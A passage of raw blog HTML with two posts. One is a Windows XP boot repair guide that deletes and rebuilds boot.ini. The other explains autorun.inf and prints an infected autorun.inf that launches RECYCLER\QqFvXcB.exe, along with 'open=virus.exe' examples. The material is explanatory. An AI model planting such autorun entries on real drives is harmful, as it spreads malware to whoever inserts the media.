#333333; line-height: 17px;">C:ATTRIB -S C:\\boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATRIB -R C:\\boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: del boot.ini</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: BOOTCFG /Rebuild</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: CHKDSK /R /F</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C: FIXBOOT</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">To  “Go up a directory” in computing is to revert back to the directory  above the current folder you’re operating in. If, for example, I’m in  the C:WINDOWSSYSTEM32 directory, and I want to get at a file in the  WINDOWS directory, I would merely type CD .. and I would be taken out of  the SYSTEM32 folder and up one level to WINDOWS. We’re going to do the  same thing here from the WINDOWS folder to get to the basic root of C:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Now that we are at C: we can begin the process of repairing the operating system</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">and  that begins with modifying the attributes of the BOOT.INI file.  Briefly, BOOT.INI controls what operating systems the Windows boot  process can see, how to load them, and where they’re located on your  disk. We’re going to make sure the file is no longer hidden from our  prying eyes, remove the flag that sets it as an undeletable system file,  and remove the flag that sets it as a file we can only read, but not  write to. To do this, we will issue three commands in this step:</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATTRIB -H C:\\BOOT.INI</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATTRIB -R C:\\BOOT.INI</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">C:ATTRIB -S C:\\BOOT.INI</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">to remove the Hidden, System and Read Only flags.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Now  that we’ve modified the attributes for the BOOT.INI file, it’s up for  deletion. The syntax for it is simple: { DEL | FILE NAME }, e.g., C:DEL  BOOT.INI deletes the BOOT.INI file.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">Now  for the most important step of our process, the BOOTCFG /REBUILD  command which searches for pre-existing installations of Windows XP and  rebuilds sundry essential components of the Windows operating system,  recompiles the BOOT.INI file and corrects a litany of common Windows  errors. It is very important that you do one or both of the following  two things: First, every Windows XP owner must use /FASTDETECT as an OS  Load Option when the rebuild process is finalizing. Secondly, if you are  the owner of a CPU featuring Intel’s XD or AMD’s NX buffer overflow  protection, you must also use /NOEXECUTE=OPTIN as an OS Load Option. I  will demonstrate both commands for the purpose of this guide, but do not  set NOEXECUTE as a load option if you do not own one of these CPUs. For  the “Enter Load Identifier” portion of this command, you should enter  the name of the operating system you have installed. If, for example,  you are using Windows XP Home, you could type “Microsoft Windows XP Home  Edition” for the identifier. This gives the process some authenticity,  if you’re keen on being a perfectionist.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">This  step verifies the integrity of the hard drive containing the Windows XP  installation. While this step is not an essential function in our  process, it’s still good to be sure that the drive is physically capable  of running windows, in that it contains no bad sectors or other  corruptions that might be the culprit. No screenshot necessary here!  Just type CHKDSK /R /F at the C:> prompt. Let it proceed; it could  take in excess of 30 minutes on slower computers, when this is finished  move on to the seventh and final step.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">This last step also requires no screenshot. When you are at the C:> prompt,</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">simply  type FIXBOOT. This writes a new boot sector to the hard drive and  cleans up all the loose ends we created by rebuilding the BOOT.INI file  and the system files. When the Windows Recovery Console asks you if you  are “Sure you want to write a new bootsector to the partition C: ?” just  hit “Y,” then enter to confirm your decision.</span><br style="background-color: white; color: #333333; line-height: 17px;" /><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">RESULTS AND WRAP-UP</span><br style="background-color: white; color: #333333; line-height: 17px;" /><span style="background-color: white; color: #333333; line-height: 17px;">It’s  time to reboot your PC by typing EXIT in the Windows Recovery Console  and confirming the command with a stroke of the enter key. With any  luck, your PC will boot successfully into Windows XP as if your various  DLL, Hive, EXE and NTLDR errors never existed. You’ve just saved  yourself from many hours of work, frustration, potential data loss and  shelling out your hard-earned greenbacks at a brick’n'mortar operation.</span></span></div>

Repairing Windows XP in Eight Commands

Windows could not start because the following file is missing or corrupt: \\WINDOWS\\SYSTEM32\\CONFIG\\S YSTEM You can attempt to repair thi...

Autorun.inf attak!! ? read this and know what happen to inf file

<div dir="ltr" style="text-align: left;" trbidi="on"><h3 class="post-title entry-title" itemprop="name">Autorun.inf virus attack! Is autorun.inf virus? </h3><div class="post-header"> </div><div dir="ltr" style="text-align: left;"><span style="font-family: Courier New, Courier, monospace;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">This is the instructions that saved in the infected(call virus programs) autorun.inf file:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Open=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Explore=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">AutoPlay=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Open\Command=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Open\Default=1</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Explore\command=RECYCLER\QqFvXcB.exe</span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;"> </span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">shell\Autoplay\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Introduction to Autorun.inf File:</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Auto  run is file that triggers other programs,documents ,other files to be  opened when the cd or pen drives are inserted.  Simpy triggers.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">When  cd or pen drives are inserted, windows will search for the autorun.inf  file and follow the instructions of autorun.inf file(instructions have  written inside the autorun.inf file).</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">How to create Autorun file?</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Open notepad</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">type this command:</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">save the file as "autorun.inf" (select all files, not text )</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Complete Syntax and instructions inside the Autorun file:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Basic syntax must be inside  the autorun.inf file is :</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">[Autorun]</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will be used to identify the the file as autorun.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">OPEN=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will specify which application should be opened when the cd or pen drive is opened</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">open=virus.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">This will launch the virus.exe file when cd or pen drive is opened.  The file should be in root directory.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">if the file is in any other sub directories ,then we have to specify it.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Open=RECYCLER\Virus.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Explore=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Nothing big difference. if you right click and select explore option in cd or pen drive.  This command will be run.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">AutoPlay=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Same as the above , but it will launch the the program when auto played.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">SHELL\VERB =</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">The  SHELL\VERB command adds a custom command to the drive's shortcut menu.  This custom command can for example be used to launch an application on  the CD/DVD.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Example:</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">  </span><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">  shell\Open\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Open\Default=1</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Explore\command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">    shell\Autoplay\Command=RECYCLER\QqFvXcB.exe</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Use  a series of shell commands to specify one or more entries in the pop-up  menu that appears when the user right-clicks on the CD icon. (The shell  entries supplement the open command.)</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><u style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Icon=</u><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Change the icon of your pen drive or cd.  you can use .ico,.bmp images(also .exe,.dll)</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">icon=hackingtalent.ico</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Label=</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Specifies a text label to displayed for this CD in Explorer</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Example:</b><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; border: 0px; color: red; line-height: 22px; margin: 0px; padding: 0px;">Label=Ethical hacking</span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="color: #e06666; font-size: medium;"><b style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;">Why Antivirus Block Autorun.inf file?</b></span><br style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;" /><span style="background-color: white; line-height: 22px;">From  above ,you come to know that autorun.inf file is not virus.  But why  antivirus blocks it?  Because as i told autorun file call or launch any  application or exe files.  It will lead to virus attack.  If the  autorun.inf is blocked,then there is no way to launch the virus code.</span></span><br /><div style="background-color: white; border: 0px; line-height: 22px; margin: 0px; padding: 0px;"><i style="border: 0px; margin: 0px; padding: 0px;"><b style="border: 0px; margin: 0px; padding: 0px;"><span style="font-family: Courier New, Courier, monospace;">Autorun is not virus but it can call virus files.</span></b></i></div></div></div>

Autorun.inf attak!! ? read this and know what happen to inf file

Autorun.inf virus attack! Is autorun.inf virus? This is the instructions that saved in the infected(call virus programs) autorun.inf file: ...